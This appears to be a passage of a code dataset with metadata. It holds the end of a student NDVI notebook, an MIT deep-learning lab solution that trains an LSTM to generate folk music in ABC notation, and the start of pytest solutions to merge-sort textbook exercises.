vegetation is the most green.\n# \n# When would you recommend the flights take place for each site? \n# \n# Answer the question in 2-3 sentences in the Markdown cell below.\n\n# Based on the plot, I would recommend the flights to take place in different times for the different locations. I would say April for the SJER site, and July for the HARV site.\n\n# # Question 2 (10 points)\n# \n# How could you modify your workflow to look at vegetation changes over time in each site? \n# \n# Answer the question in 2-3 sentences in the Markdown cell below.\n\n# Instead of comparing the two sites, I would create a separate plot for each site. Each location plot would have a line for each year as a separate color, showing how the vegetation might change each month over a span of a certain amount of years. \n\n# # Do not edit this cell! (10 points)\n# \n# The notebook includes:\n# * additional Markdown cells throughout the notebook to describe: \n#     * the data that you used - and where it is from\n#     * how data are being processing\n#     * how the code is optimized to run fast and be more concise\n\n# # Do not edit this cell! (20 points)\n# \n# The notebook will also be checked for overall clean code requirements as specified at the **top** of this notebook. Some of these requirements include (review the top cells for more specifics): \n# \n# * Notebook begins at cell [1] and runs on any machine in its entirety.\n# * PEP 8 format is applied throughout (including lengths of comment and code lines).\n# * No additional code or imports in the notebook that is not needed for the workflow.\n# * Notebook is fully reproducible. This means:\n#    * reproducible paths using the os module.\n#    * data downloaded using code in the notebook.\n#    * all imports at top of notebook.\n\n# ## BONUS - Export a  .CSV File to Share (10 points possible)\n# \n# This is optional - if you export a **.csv** file with the columns specified above: Site, Date and NDVI Value you can get an additional 10 points.\n# \n# * FULL CREDIT: File exists in csv format and contains the columns specified.\n# We will check your github repo for this file!\n# \n\n# In[13]:\n\n\n# CSV needs to have no nan values... drop them with .dropna()\nfinal_NDVI_df_csv = final_NDVI_df.dropna()\n\n# Export pandas dataframe to csv file\nfinal_NDVI_df_csv.to_csv(os.path.join(\n    directory_path,\n    \"ndvi-automation\",\n    \"outputs\", \n    \"ndvi_df.csv\"))\n\n# Export to personal\nfinal_NDVI_df_csv.to_csv(os.path.join(et.io.HOME,\n                                      \"earth-analytics\",\n                                      \"earth-analytics-python-env\",\n                                      \"ea-2022-04-ndvi-automation-LManak\",\n                                      \"ndvi_df.csv\"))\n\n\n# In[ ]:\n\n\n\n\n", "meta": {"hexsha": "29421e4526334985f191e044dd4a9eae20486a97", "size": 25105, "ext": "py", "lang": "Python", "max_stars_repo_path": "Manak_Leah_ndvi_2022.py", "max_stars_repo_name": "LManak/ea-2021-ndvi-automation-review", "max_stars_repo_head_hexsha": "f4634204d74099c144a3217d3454b32be4c3bc2f", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "Manak_Leah_ndvi_2022.py", "max_issues_repo_name": "LManak/ea-2021-ndvi-automation-review", "max_issues_repo_head_hexsha": "f4634204d74099c144a3217d3454b32be4c3bc2f", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "Manak_Leah_ndvi_2022.py", "max_forks_repo_name": "LManak/ea-2021-ndvi-automation-review", "max_forks_repo_head_hexsha": "f4634204d74099c144a3217d3454b32be4c3bc2f", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 37.4143070045, "max_line_length": 291, "alphanum_fraction": 0.6984664409, "include": true, "reason": "import numpy", "num_tokens": 6147, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.3522017684487511, "lm_q2_score": 0.2751297238231752, "lm_q1q2_score": 0.09690117528333879}}
{"text": "# -*- coding: utf-8 -*-\n\"\"\"Part2_Music_Generation_Solution.ipynb\n\nAutomatically generated by Colaboratory.\n\nOriginal file is located at\n    https://colab.research.google.com/drive/1zVISpFRO6la4MCdg2wyKXj-YppLNjQAl\n\n<table>\n  <td><a target=\"_blank\" href=\"https://colab.research.google.com/github/aamini/introtodeeplearning/blob/master/lab1/solutions/Part2_Music_Generation_Solution.ipynb\">\n        <img src=\"https://i.ibb.co/2P3SLwK/colab.png\"  style=\"padding-bottom:5px;\" />Run in Google Colab</a></td>\n  \n</table>\n\n# Lab 1: Intro to TensorFlow and Music Generation with RNNs\n\n# Part 2: Music Generation with RNNs\n\nIn this portion of the lab, we will explore building a Recurrent Neural Network (RNN) for music generation. We will train a model to learn the patterns in raw sheet music in [ABC notation](https://en.wikipedia.org/wiki/ABC_notation) and then use this model to generate new music.\n\n## 2.1 Dependencies \nFirst, let's download the course repository, install dependencies, and import the relevant packages we'll need for this lab.\n\"\"\"\n\n# Commented out IPython magic to ensure Python compatibility.\n# Import Tensorflow 2.0\n# %tensorflow_version 2.x\nimport tensorflow as tf \n\n# Download and import the MIT 6.S191 package\n!pip install mitdeeplearning\nimport mitdeeplearning as mdl\n\n# Import all remaining packages\nimport numpy as np\nimport os\nimport time\nimport functools\nfrom IPython import display as ipythondisplay\nfrom tqdm import tqdm\n!apt-get install abcmidi timidity > /dev/null 2>&1\n\n# Check that we are using a GPU, if not switch runtimes\n#   using Runtime > Change Runtime Type > GPU\nassert len(tf.config.list_physical_devices('GPU')) > 0\n\n\"\"\"## 2.2 Dataset\n\n![Let's Dance!](http://33.media.tumblr.com/3d223954ad0a77f4e98a7b87136aa395/tumblr_nlct5lFVbF1qhu7oio1_500.gif)\n\nWe've gathered a dataset of thousands of Irish folk songs, represented in the ABC notation. Let's download the dataset and inspect it: \n\n\"\"\"\n\n# Download the dataset\nsongs = mdl.lab1.load_training_data()\n\n# Print one of the songs to inspect it in greater detail!\nexample_song = songs[0]\nprint(\"\\nExample song: \")\nprint(example_song)\n\n\"\"\"We can easily convert a song in ABC notation to an audio waveform and play it back. Be patient for this conversion to run, it can take some time.\"\"\"\n\n# Convert the ABC notation to audio file and listen to it\nmdl.lab1.play_song(example_song)\n\n\"\"\"One important thing to think about is that this notation of music does not simply contain information on the notes being played, but additionally there is meta information such as the song title, key, and tempo. How does the number of different characters that are present in the text file impact the complexity of the learning problem? This will become important soon, when we generate a numerical representation for the text data.\"\"\"\n\n# Join our list of song strings into a single string containing all songs\nsongs_joined = \"\\n\\n\".join(songs) \n\n# Find all unique characters in the joined string\nvocab = sorted(set(songs_joined))\nprint(\"There are\", len(vocab), \"unique characters in the dataset\")\n\n\"\"\"## 2.3 Process the dataset for the learning task\n\nLet's take a step back and consider our prediction task. We're trying to train a RNN model to learn patterns in ABC music, and then use this model to generate (i.e., predict) a new piece of music based on this learned information. \n\nBreaking this down, what we're really asking the model is: given a character, or a sequence of characters, what is the most probable next character? We'll train the model to perform this task. \n\nTo achieve this, we will input a sequence of characters to the model, and train the model to predict the output, that is, the following character at each time step. RNNs maintain an internal state that depends on previously seen elements, so information about all characters seen up until a given moment will be taken into account in generating the prediction.\n\n### Vectorize the text\n\nBefore we begin training our RNN model, we'll need to create a numerical representation of our text-based dataset. To do this, we'll generate two lookup tables: one that maps characters to numbers, and a second that maps numbers back to characters. Recall that we just identified the unique characters present in the text.\n\"\"\"\n\n### Define numerical representation of text ###\n \nchar2idx = {u:i for i, u in enumerate(vocab)}\n\nidx2char = np.array(vocab)\n\n\"\"\"This gives us an integer representation for each character. Observe that the unique characters (i.e., our vocabulary) in the text are mapped as indices from 0 to `len(unique)`. Let's take a peek at this numerical representation of our dataset:\"\"\"\n\nprint('{')\nfor char,_ in zip(char2idx, range(20)):\n    print('  {:4s}: {:3d},'.format(repr(char), char2idx[char]))\nprint('  ...\\n}')\n\n### Vectorize the songs string ###\n\n'''TODO: Write a function to convert the all songs string to a vectorized\n    (i.e., numeric) representation. Use the appropriate mapping\n    above to convert from vocab characters to the corresponding indices.\n\n  NOTE: the output of the `vectorize_string` function \n  should be a np.array with `N` elements, where `N` is\n  the number of characters in the input string\n'''\ndef vectorize_string(string):\n  vectorized_output = np.array([char2idx[char] for char in string])\n  return vectorized_output\n\n# def vectorize_string(string):\n  # TODO\n\nvectorized_songs = vectorize_string(songs_joined)\n\n\"\"\"We can also look at how the first part of the text is mapped to an integer representation:\"\"\"\n\nprint ('{} ---- characters mapped to int ----> {}'.format(repr(songs_joined[:10]), vectorized_songs[:10]))\n# check that vectorized_songs is a numpy array\nassert isinstance(vectorized_songs, np.ndarray), \"returned result should be a numpy array\"\n\n\"\"\"### Create training examples and targets\n\nOur next step is to actually divide the text into example sequences that we'll use during training. Each input sequence that we feed into our RNN will contain `seq_length` characters from the text. We'll also need to define a target sequence for each input sequence, which will be used in training the RNN to predict the next character. For each input, the corresponding target will contain the same length of text, except shifted one character to the right.\n\nTo do this, we'll break the text into chunks of `seq_length+1`. Suppose `seq_length` is 4 and our text is \"Hello\". Then, our input sequence is \"Hell\" and the target sequence is \"ello\".\n\nThe batch method will then let us convert this stream of character indices to sequences of the desired size.\n\"\"\"\n\n### Batch definition to create training examples ###\n\ndef get_batch(vectorized_songs, seq_length, batch_size):\n  # the length of the vectorized songs string\n  n = vectorized_songs.shape[0] - 1\n  # randomly choose the starting indices for the examples in the training batch\n  idx = np.random.choice(n-seq_length, batch_size)\n\n  '''TODO: construct a list of input sequences for the training batch'''\n  input_batch = [vectorized_songs[i : i+seq_length] for i in idx]\n  # input_batch = # TODO\n  '''TODO: construct a list of output sequences for the training batch'''\n  output_batch = [vectorized_songs[i+1 : i+seq_length+1] for i in idx]\n  # output_batch = # TODO\n\n  # x_batch, y_batch provide the true inputs and targets for network training\n  x_batch = np.reshape(input_batch, [batch_size, seq_length])\n  y_batch = np.reshape(output_batch, [batch_size, seq_length])\n  return x_batch, y_batch\n\n\n# Perform some simple tests to make sure your batch function is working properly! \ntest_args = (vectorized_songs, 10, 2)\nif not mdl.lab1.test_batch_func_types(get_batch, test_args) or \\\n   not mdl.lab1.test_batch_func_shapes(get_batch, test_args) or \\\n   not mdl.lab1.test_batch_func_next_step(get_batch, test_args): \n   print(\"======\\n[FAIL] could not pass tests\")\nelse: \n   print(\"======\\n[PASS] passed all tests!\")\n\n\"\"\"For each of these vectors, each index is processed at a single time step. So, for the input at time step 0, the model receives the index for the first character in the sequence, and tries to predict the index of the next character. At the next timestep, it does the same thing, but the RNN considers the information from the previous step, i.e., its updated state, in addition to the current input.\n\nWe can make this concrete by taking a look at how this works over the first several characters in our text:\n\"\"\"\n\nx_batch, y_batch = get_batch(vectorized_songs, seq_length=5, batch_size=1)\n\nfor i, (input_idx, target_idx) in enumerate(zip(np.squeeze(x_batch), np.squeeze(y_batch))):\n    print(\"Step {:3d}\".format(i))\n    print(\"  input: {} ({:s})\".format(input_idx, repr(idx2char[input_idx])))\n    print(\"  expected output: {} ({:s})\".format(target_idx, repr(idx2char[target_idx])))\n\n\"\"\"## 2.4 The Recurrent Neural Network (RNN) model\n\nNow we're ready to define and train a RNN model on our ABC music dataset, and then use that trained model to generate a new song. We'll train our RNN using batches of song snippets from our dataset, which we generated in the previous section.\n\nThe model is based off the LSTM architecture, where we use a state vector to maintain information about the temporal relationships between consecutive characters. The final output of the LSTM is then fed into a fully connected [`Dense`](https://www.tensorflow.org/api_docs/python/tf/keras/layers/Dense) layer where we'll output a softmax over each character in the vocabulary, and then sample from this distribution to predict the next character. \n\nAs we introduced in the first portion of this lab, we'll be using the Keras API, specifically, [`tf.keras.Sequential`](https://www.tensorflow.org/api_docs/python/tf/keras/models/Sequential), to define the model. Three layers are used to define the model:\n\n* [`tf.keras.layers.Embedding`](https://www.tensorflow.org/api_docs/python/tf/keras/layers/Embedding): This is the input layer, consisting of a trainable lookup table that maps the numbers of each character to a vector with `embedding_dim` dimensions.\n* [`tf.keras.layers.LSTM`](https://www.tensorflow.org/api_docs/python/tf/keras/layers/LSTM): Our LSTM network, with size `units=rnn_units`. \n* [`tf.keras.layers.Dense`](https://www.tensorflow.org/api_docs/python/tf/keras/layers/Dense): The output layer, with `vocab_size` outputs.\n\n\n<img src=\"https://raw.githubusercontent.com/aamini/introtodeeplearning/2019/lab1/img/lstm_unrolled-01-01.png\" alt=\"Drawing\"/>\n\n### Define the RNN model\n\nNow, we will define a function that we will use to actually build the model.\n\"\"\"\n\ndef LSTM(rnn_units): \n  return tf.keras.layers.LSTM(\n    rnn_units, \n    return_sequences=True, \n    recurrent_initializer='glorot_uniform',\n    recurrent_activation='sigmoid',\n    stateful=True,\n  )\n\n\"\"\"The time has come! Fill in the `TODOs` to define the RNN model within the `build_model` function, and then call the function you just defined to instantiate the model!\"\"\"\n\n### Defining the RNN Model ###\n\n'''TODO: Add LSTM and Dense layers to define the RNN model using the Sequential API.'''\ndef build_model(vocab_size, embedding_dim, rnn_units, batch_size):\n  model = tf.keras.Sequential([\n    \n    tf.keras.layers.Embedding(vocab_size, embedding_dim, batch_input_shape=[batch_size, None]),\n\n    LSTM(rnn_units), \n    # LSTM('''TODO'''),\n\n    tf.keras.layers.Dense(vocab_size)\n    # '''TODO: DENSE LAYER HERE'''\n  ])\n\n  return model\n\nmodel = build_model(len(vocab), embedding_dim=256, rnn_units=1024, batch_size=32)\n\n\"\"\"### Test out the RNN model\n\nIt's always a good idea to run a few simple checks on our model to see that it behaves as expected.  \n\nFirst, we can use the `Model.summary` function to print out a summary of our model's internal workings. Here we can check the layers in the model, the shape of the output of each of the layers, the batch size, etc.\n\"\"\"\n\nmodel.summary()\n\n\"\"\"We can also quickly check the dimensionality of our output, using a sequence length of 100. Note that the model can be run on inputs of any length.\"\"\"\n\nx, y = get_batch(vectorized_songs, seq_length=100, batch_size=32)\npred = model(x)\nprint(\"Input shape:      \", x.shape, \" # (batch_size, sequence_length)\")\nprint(\"Prediction shape: \", pred.shape, \"# (batch_size, sequence_length, vocab_size)\")\n\n\"\"\"### Predictions from the untrained model\n\nLet's take a look at what our untrained model is predicting.\n\nTo get actual predictions from the model, we sample from the output distribution, which is defined by a `softmax` over our character vocabulary. This will give us actual character indices. This means we are using a [categorical distribution](https://en.wikipedia.org/wiki/Categorical_distribution) to sample over the example prediction. This gives a prediction of the next character (specifically its index) at each timestep.\n\nNote here that we sample from this probability distribution, as opposed to simply taking the `argmax`, which can cause the model to get stuck in a loop.\n\nLet's try this sampling out for the first example in the batch.\n\"\"\"\n\nsampled_indices = tf.random.categorical(pred[0], num_samples=1)\nsampled_indices = tf.squeeze(sampled_indices,axis=-1).numpy()\nsampled_indices\n\n\"\"\"We can now decode these to see the text predicted by the untrained model:\"\"\"\n\nprint(\"Input: \\n\", repr(\"\".join(idx2char[x[0]])))\nprint()\nprint(\"Next Char Predictions: \\n\", repr(\"\".join(idx2char[sampled_indices])))\n\n\"\"\"As you can see, the text predicted by the untrained model is pretty nonsensical! How can we do better? We can train the network!\n\n## 2.5 Training the model: loss and training operations\n\nNow it's time to train the model!\n\nAt this point, we can think of our next character prediction problem as a standard classification problem. Given the previous state of the RNN, as well as the input at a given time step, we want to predict the class of the next character -- that is, to actually predict the next character. \n\nTo train our model on this classification task, we can use a form of the `crossentropy` loss (negative log likelihood loss). Specifically, we will use the [`sparse_categorical_crossentropy`](https://www.tensorflow.org/api_docs/python/tf/keras/losses/sparse_categorical_crossentropy) loss, as it utilizes integer targets for categorical classification tasks. We will want to compute the loss using the true targets -- the `labels` -- and the predicted targets -- the `logits`.\n\nLet's first compute the loss using our example predictions from the untrained model:\n\"\"\"\n\n### Defining the loss function ###\n\n'''TODO: define the loss function to compute and return the loss between\n    the true labels and predictions (logits). Set the argument from_logits=True.'''\ndef compute_loss(labels, logits):\n  loss = tf.keras.losses.sparse_categorical_crossentropy(labels, logits, from_logits=True)\n  # loss = tf.keras.losses.sparse_categorical_crossentropy('''TODO''', '''TODO''', from_logits=True) # TODO\n  return loss\n\n'''TODO: compute the loss using the true next characters from the example batch \n    and the predictions from the untrained model several cells above'''\nexample_batch_loss = compute_loss(y, pred)\n# example_batch_loss = compute_loss('''TODO''', '''TODO''') # TODO\n\nprint(\"Prediction shape: \", pred.shape, \" # (batch_size, sequence_length, vocab_size)\") \nprint(\"scalar_loss:      \", example_batch_loss.numpy().mean())\n\n\"\"\"Let's start by defining some hyperparameters for training the model. To start, we have provided some reasonable values for some of the parameters. It is up to you to use what we've learned in class to help optimize the parameter selection here!\"\"\"\n\n### Hyperparameter setting and optimization ###\n\n# Optimization parameters:\nnum_training_iterations = 2000  # Increase this to train longer\nbatch_size = 4  # Experiment between 1 and 64\nseq_length = 100  # Experiment between 50 and 500\nlearning_rate = 5e-3  # Experiment between 1e-5 and 1e-1\n\n# Model parameters: \nvocab_size = len(vocab)\nembedding_dim = 256 \nrnn_units = 1024  # Experiment between 1 and 2048\n\n# Checkpoint location: \ncheckpoint_dir = './training_checkpoints'\ncheckpoint_prefix = os.path.join(checkpoint_dir, \"my_ckpt\")\n\n\"\"\"Now, we are ready to define our training operation -- the optimizer and duration of training -- and use this function to train the model. You will experiment with the choice of optimizer and the duration for which you train your models, and see how these changes affect the network's output. Some optimizers you may like to try are [`Adam`](https://www.tensorflow.org/api_docs/python/tf/keras/optimizers/Adam?version=stable) and [`Adagrad`](https://www.tensorflow.org/api_docs/python/tf/keras/optimizers/Adagrad?version=stable).\n\nFirst, we will instantiate a new model and an optimizer. Then, we will use the [`tf.GradientTape`](https://www.tensorflow.org/api_docs/python/tf/GradientTape) method to perform the backpropagation operations. \n\nWe will also generate a print-out of the model's progress through training, which will help us easily visualize whether or not we are minimizing the loss.\n\"\"\"\n\n### Define optimizer and training operation ###\n\n'''TODO: instantiate a new model for training using the `build_model`\n  function and the hyperparameters created above.'''\nmodel = build_model(vocab_size, embedding_dim, rnn_units, batch_size)\n# model = build_model('''TODO: arguments''')\n\n'''TODO: instantiate an optimizer with its learning rate.\n  https://www.tensorflow.org/api_docs/python/tf/keras/optimizers/\n  Using Adam optimizer to start.'''\noptimizer = tf.keras.optimizers.Adam(learning_rate)\n# optimizer = # TODO\n\n@tf.function\ndef train_step(x, y): \n  # Use tf.GradientTape()\n  with tf.GradientTape() as tape:\n  \n    '''TODO: feed the current input into the model and generate predictions'''\n    y_hat = model(x) # TODO\n    # y_hat = model('''TODO''')\n  \n    '''TODO: compute the loss!'''\n    loss = compute_loss(y, y_hat) # TODO\n    # loss = compute_loss('''TODO''', '''TODO''')\n\n  grads = tape.gradient(loss, model.trainable_variables) # TODO\n  # grads = tape.gradient('''TODO''', '''TODO''')\n  \n  # Apply the gradients to the optimizer so it can update the model accordingly\n  optimizer.apply_gradients(zip(grads, model.trainable_variables))\n  return loss\n\n##################\n# Begin training!#\n##################\n\nhistory = []\nplotter = mdl.util.PeriodicPlotter(sec=2, xlabel='Iterations', ylabel='Loss')\nif hasattr(tqdm, '_instances'): tqdm._instances.clear() # clear if it exists\n\nfor iter in tqdm(range(num_training_iterations)):\n\n  # Grab a batch and propagate it through the network\n  x_batch, y_batch = get_batch(vectorized_songs, seq_length, batch_size)\n  loss = train_step(x_batch, y_batch)\n\n  # Update the progress bar\n  history.append(loss.numpy().mean())\n  plotter.plot(history)\n\n  # Update the model with the changed weights!\n  if iter % 100 == 0:     \n    model.save_weights(checkpoint_prefix)\n    \n# Save the trained model and the weights\nmodel.save_weights(checkpoint_prefix)\n\n\"\"\"## 2.6 Generate music using the RNN model\n\nNow, we can use our trained RNN model to generate some music! When generating music, we'll have to feed the model some sort of seed to get it started (because it can't predict anything without something to start with!).\n\nOnce we have a generated seed, we can then iteratively predict each successive character (remember, we are using the ABC representation for our music) using our trained RNN. More specifically, recall that our RNN outputs a `softmax` over possible successive characters. For inference, we iteratively sample from these distributions, and then use our samples to encode a generated song in the ABC format.\n\nThen, all we have to do is write it to a file and listen!\n\n### Restore the latest checkpoint\n\nTo keep this inference step simple, we will use a batch size of 1. Because of how the RNN state is passed from timestep to timestep, the model will only be able to accept a fixed batch size once it is built. \n\nTo run the model with a different `batch_size`, we'll need to rebuild the model and restore the weights from the latest checkpoint, i.e., the weights after the last checkpoint during training:\n\"\"\"\n\n'''TODO: Rebuild the model using a batch_size=1'''\nmodel = build_model(vocab_size, embedding_dim, rnn_units, batch_size=1) # TODO\n# model = build_model('''TODO''', '''TODO''', '''TODO''', batch_size=1)\n\n# Restore the model weights for the last checkpoint after training\nmodel.load_weights(tf.train.latest_checkpoint(checkpoint_dir))\nmodel.build(tf.TensorShape([1, None]))\n\nmodel.summary()\n\n\"\"\"Notice that we have fed in a fixed `batch_size` of 1 for inference.\n\n### The prediction procedure\n\nNow, we're ready to write the code to generate text in the ABC music format:\n\n* Initialize a \"seed\" start string and the RNN state, and set the number of characters we want to generate.\n\n* Use the start string and the RNN state to obtain the probability distribution over the next predicted character.\n\n* Sample from multinomial distribution to calculate the index of the predicted character. This predicted character is then used as the next input to the model.\n\n* At each time step, the updated RNN state is fed back into the model, so that it now has more context in making the next prediction. After predicting the next character, the updated RNN states are again fed back into the model, which is how it learns sequence dependencies in the data, as it gets more information from the previous predictions.\n\n![LSTM inference](https://raw.githubusercontent.com/aamini/introtodeeplearning/2019/lab1/img/lstm_inference.png)\n\nComplete and experiment with this code block (as well as some of the aspects of network definition and training!), and see how the model performs. How do songs generated after training with a small number of epochs compare to those generated after a longer duration of training?\n\"\"\"\n\n### Prediction of a generated song ###\n\ndef generate_text(model, start_string, generation_length=1000):\n  # Evaluation step (generating ABC text using the learned RNN model)\n\n  '''TODO: convert the start string to numbers (vectorize)'''\n  input_eval = [char2idx[s] for s in start_string] # TODO\n  # input_eval = ['''TODO''']\n  input_eval = tf.expand_dims(input_eval, 0)\n\n  # Empty string to store our results\n  text_generated = []\n\n  # Here batch size == 1\n  model.reset_states()\n  tqdm._instances.clear()\n\n  for i in tqdm(range(generation_length)):\n      '''TODO: evaluate the inputs and generate the next character predictions'''\n      predictions = model(input_eval)\n      # predictions = model('''TODO''')\n      \n      # Remove the batch dimension\n      predictions = tf.squeeze(predictions, 0)\n      \n      '''TODO: use a multinomial distribution to sample'''\n      predicted_id = tf.random.categorical(predictions, num_samples=1)[-1,0].numpy()\n      # predicted_id = tf.random.categorical('''TODO''', num_samples=1)[-1,0].numpy()\n      \n      # Pass the prediction along with the previous hidden state\n      #   as the next inputs to the model\n      input_eval = tf.expand_dims([predicted_id], 0)\n      \n      '''TODO: add the predicted character to the generated text!'''\n      # Hint: consider what format the prediction is in vs. the output\n      text_generated.append(idx2char[predicted_id]) # TODO \n      # text_generated.append('''TODO''')\n    \n  return (start_string + ''.join(text_generated))\n\n'''TODO: Use the model and the function defined above to generate ABC format text of length 1000!\n    As you may notice, ABC files start with \"X\" - this may be a good start string.'''\ngenerated_text = generate_text(model, start_string=\"X\", generation_length=1000) # TODO\n# generated_text = generate_text('''TODO''', start_string=\"X\", generation_length=1000)\n\n\"\"\"### Play back the generated music!\n\nWe can now call a function to convert the ABC format text to an audio file, and then play that back to check out our generated music! Try training longer if the resulting song is not long enough, or re-generating the song!\n\"\"\"\n\n### Play back generated songs ###\n\ngenerated_songs = mdl.lab1.extract_song_snippet(generated_text)\n\nfor i, song in enumerate(generated_songs): \n  # Synthesize the waveform from a song\n  waveform = mdl.lab1.play_song(song)\n\n  # If its a valid song (correct syntax), lets play it! \n  if waveform:\n    print(\"Generated song\", i)\n    ipythondisplay.display(waveform)\n\n\"\"\"## 2.7 Experiment and **get awarded for the best songs**!\n\nCongrats on making your first sequence model in TensorFlow! It's a pretty big accomplishment, and hopefully you have some sweet tunes to show for it.\n\nConsider how you may improve your model and what seems to be most important in terms of performance. Here are some ideas to get you started:\n\n*  How does the number of training epochs affect the performance?\n*  What if you alter or augment the dataset? \n*  Does the choice of start string significantly affect the result? \n\nHave fun and happy listening!\n\n![Let's Dance!](http://33.media.tumblr.com/3d223954ad0a77f4e98a7b87136aa395/tumblr_nlct5lFVbF1qhu7oio1_500.gif)\n\n\n\"\"\"\n\n", "meta": {"hexsha": "db97866e00ecdb69853554a6e63db36808024ec4", "size": 24927, "ext": "py", "lang": "Python", "max_stars_repo_path": "solutions/part2_music_generation_solution.py", "max_stars_repo_name": "Jagadambass/Intro-to-TensorFlow-Music-Generation", "max_stars_repo_head_hexsha": "8fbdb2e82a52a5a5ce56b9b7b1262a359bc56e76", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "solutions/part2_music_generation_solution.py", "max_issues_repo_name": "Jagadambass/Intro-to-TensorFlow-Music-Generation", "max_issues_repo_head_hexsha": "8fbdb2e82a52a5a5ce56b9b7b1262a359bc56e76", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "solutions/part2_music_generation_solution.py", "max_forks_repo_name": "Jagadambass/Intro-to-TensorFlow-Music-Generation", "max_forks_repo_head_hexsha": "8fbdb2e82a52a5a5ce56b9b7b1262a359bc56e76", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 49.4583333333, "max_line_length": 531, "alphanum_fraction": 0.7516748907, "include": true, "reason": "import numpy", "num_tokens": 5850, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO\n\n", "lm_q1_score": 0.49218813572079556, "lm_q2_score": 0.1968262107100778, "lm_q1q2_score": 0.09687552571038167}}
{"text": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"Test solutions to chapter 12 exercises.\n\n###############################################################################\n# test_chapter12.py\n#\n# Revision:     1.00\n# Date:         7/12/2021\n# Author:       Alex\n#\n# Purpose:      Runs unit tests on all chapter 12 exercises from \"Data\n#               Structures and Algorithms in Python\" by Goodrich et. al.\n#\n###############################################################################\n\"\"\"\n\n# %% Imports\n# Standard system imports\n\n# Related third party imports\nimport pytest\nimport numpy as np\n\n# Local application/library specific imports\nimport dsa.chapter12_exercises as chap12\n\n\n# %% Reinforcement Exercises\ndef test_prop_12p1():\n    \"\"\"Solution to exercise R-12.1.\n\n    Give a complete justification of Proposition 12.1.\n\n    ---------------------------------------------------------------------------\n    Solution:\n    ---------------------------------------------------------------------------\n    Proposition 12.1 asserts the following:\n\n    The merge-sort tree associated with an execution of merge-sort on a\n    sequence of size n has height ceil(logn).\n\n    The merge-sort tree is a binary tree where each node represents a recursive\n    call of the merge-sort algorithm.  Each time merge-sort is called, it\n    splits the input sequence into two (roughly) equal halves until the input\n    sequence is of length 1.  The original sequence S is the root node of the\n    binary tree, while the individual elements of S form the leaves of the\n    binary tree.\n\n    If the length of the sequence is not a power of 2, then there will be\n    splits where one half will equal n//2, and the other half n//2 + 1.\n    The length of the sequence at each node is thus either 2^h or 2^h + 1,\n    where h is the height of the node.  This means that not all of the leaf\n    nodes will be at the same depth, as an extra split operation is necessary\n    for nodes containing n//2 + 1 elements.\n\n    Leaf nodes have height 0, and 2^0 = 1 so the sequence will be length of 1.\n    This matches our expectation that leaves contain a single element.\n    The root node containing the original sequence must be length n, and the\n    height of the root node (h_root) is the same as the height of the tree.\n\n    Because n may not be a power of 2, 2^h_root may be greater than or equal to\n    the number of elements in sequence S.  However, height must be an integer\n    and so any decimal result for h_root should thus take the ceiling of the\n    value.\n\n    Therefore:\n\n    2^(h_root) >= n\n    h_root >= log(n)\n    h_root = ceil(log(n))\n    \"\"\"\n    assert chap12.prop_12p1()\n\n\ndef test_merge_sort_arrows():\n    \"\"\"Solution to exercise R-12.2.\n\n    In the merge-sort tree shown in Figures 12.2 through 12.4, some edges are\n    drawn as arrows. What is the meaning of a downward arrow? How about\n    an upward arrow?\n\n    ---------------------------------------------------------------------------\n    Solution:\n    ---------------------------------------------------------------------------\n    A downward arrow represents a recursive call to merge_sort(), splitting the\n    sequence into two halves.  An upward arrow represents a call to merge(),\n    which merges two sorted sequences back into the parent node that represents\n    the original sequence they were split from.\n    \"\"\"\n    assert chap12.merge_sort_arrows()\n\n\ndef test_merge_sort_stable():\n    \"\"\"Solution to exercise R-12.4.\n\n    Is our array-based implementation of merge-sort given in Section 12.2.2\n    stable? Explain why or why not.\n\n    ---------------------------------------------------------------------------\n    Solution:\n    ---------------------------------------------------------------------------\n    Let S1 = [2, 3, 5] and S2 = [2, 4, 6].  Both are sorted sequences that\n    contain the duplicate key 2.  Recall that S1 is composed of keys from the\n    left half of S, and S2 of keys from the right half of S.  If a duplicate\n    key exists in both S1 and S2, the duplicate key in S1 must have preceded\n    the key in S2.  In order for a sort to be stable, this order must be\n    maintained in the sorted list.\n\n    When viewing the source code of merge() on page 543 of the text, the\n    comparison between S1 and S2 is written using the < operator:\n\n    S1[i] < S2[j]\n\n    If True, element i from S1 is copied to S.  If False, element j from S2 is\n    copied to S instead.  If i = j = 0 then:\n\n    S1[0] < S2[0]\n    2 < 2\n\n    This statement is False, 2 is not less than itself.  Therefore S2[0] will\n    be copied to S before S1[0].  As mentioned above, duplicates from S1 should\n    be copied to S first because they preceded the duplicates in S2 in the\n    original sequence.  Therefore this implementation of merge-sort is NOT\n    stable.  However, if the comparison operator were changed to <= the merge-\n    sort algorithm would be stable.\n    \"\"\"\n    assert chap12.merge_sort_stable()\n\n\ndef test_linked_list_stable():\n    \"\"\"Solution to exercise R-12.5.\n\n    Is our linked-list-based implementation of merge-sort given in Code\n    Fragment 12.3 stable? Explain why or why not.\n\n    ---------------------------------------------------------------------------\n    Solution:\n    ---------------------------------------------------------------------------\n    No, it is NOT stable for the same reason as exercise R-12.4.  The merge()\n    function again compares S1 to S2 using the < operator:\n\n    S1.first() < S2.first()\n\n    If True, S1's element is copied to S, and if False S2's element is copied\n    to S.  Again, in the case that S1.first() == S2.first() then S2's element\n    will be copied to S before S1's element.  This will not maintain the\n    original order of the duplicate keys in the sorted sequence.\n    \"\"\"\n    assert chap12.linked_list_stable()\n\n\n@pytest.mark.parametrize(('A, B'), [(list(range(10)),\n                                     